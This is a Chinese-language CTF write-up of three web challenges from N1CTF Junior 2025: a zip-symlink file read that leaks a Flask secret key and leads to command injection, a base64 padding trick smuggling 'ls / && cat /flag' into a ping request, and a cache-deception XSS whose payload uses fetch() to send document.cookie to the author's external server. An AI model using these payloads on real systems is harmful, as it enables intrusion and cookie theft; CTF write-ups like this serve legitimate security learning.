打了 N1CTF Junior 2025 2/2 Writeup 主要看的是Web(别的也不会啊)
抢了个一血,虽然是简单题
抢完就出去玩了,回来发现还有一个多小时就又做了两题
online_unzipper 经典symlink透数据 /proc/self/cmdline 发现是/usr/local/bin/python3.11 /usr/local/bin/flask run
/proc/self/environ拿到环境变量
1 2 3 4 5 6 7 ... FLASK_APP=app.py ... FLASK_RUN_HOST=0.0.0.0 ... FLASK_SECRET_KEY=#mu0cw9F#7bBCoF! ...
/proc/self/cwd/app.py拿到app.py
找到RCE点位:
1 2 try : os.system(f"unzip -o {zip_path} -d {target_dir} " )
zip_path可控
1 2 3 4 5 6 7 8 9 10 11 if role == "admin" : dirname = request.form.get("dirname" ) or str (uuid.uuid4()) else : dirname = str (uuid.uuid4()) target_dir = os.path.join(UPLOAD_FOLDER, dirname) os.makedirs(target_dir, exist_ok=True ) zip_path = os.path.join(target_dir, "upload.zip" ) file.save(zip_path)
要role==admin,这个好办,secret_key都有了直接flask-session-cookie-manager即可
因为前面有个os.makedirs,直接上shell怕出问题,所以bash -c "$(echo "..." | base64 -d)"了一下
flag{985b2461-ddc2-4db9-99bb-9248586a28e4}
ping 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /ping HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-GB;q=0.7,en-US;q=0.6 Content-Length: 32 Content-Type: application/json Host: 60.205.163.215:53720 Origin: http://60.205.163.215:53720 Proxy-Connection: keep-alive Referer: http://60.205.163.215:53720/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0 { "ip_base64":"MTI3LjAuMC4xMQ==JiYgbHMgLyAmJiBjYXQgL2ZsYWc=" }
base64.b64decode遇到=会截断,base64 -d不会
flag忘了。
Unfinished 1 2 3 4 5 6 location ~ \.(css|js)$ { proxy_pass http://127.0.0.1:5000; proxy_ignore_headers Vary; proxy_cache static_cache; proxy_cache_valid 200 10m; }
一眼顶真鉴定为 https://book.hacktricks.wiki/en/pentesting-web/cache-deception/index.html
看了一下只有/api/bio/<username>能利用上这个
但是啊
1 2 3 4 5 6 7 def view_user (): """ # I found a bug in it. # Until I fix it, I've banned /api/bio/. Have fun :) """ username = request.args.get("username" ,default=current_user.username) visit_url(f"http://localhost/api/bio/{username} " )
咋办捏
来点逆天小巧思:
1 2 3 location /api/bio/ { return 403; }
第一眼真没看出这个有什么不对:crew: 总之就是ban了但是如ban
然后这个API返回的mine是text/html
那还等啥,直接<script>fetch("https://dev.5dbwat4.top/a"+encodeURIComponent(document.cookie))</script>
拿到回显:
1 HTTP 2025/9/14 22:00:51 ::1 GET /aflag%3Dflag%7ByOU_F1n15HeD_Th3_unFInisH3D_cHalLen93_qpF11%7D
问卷 略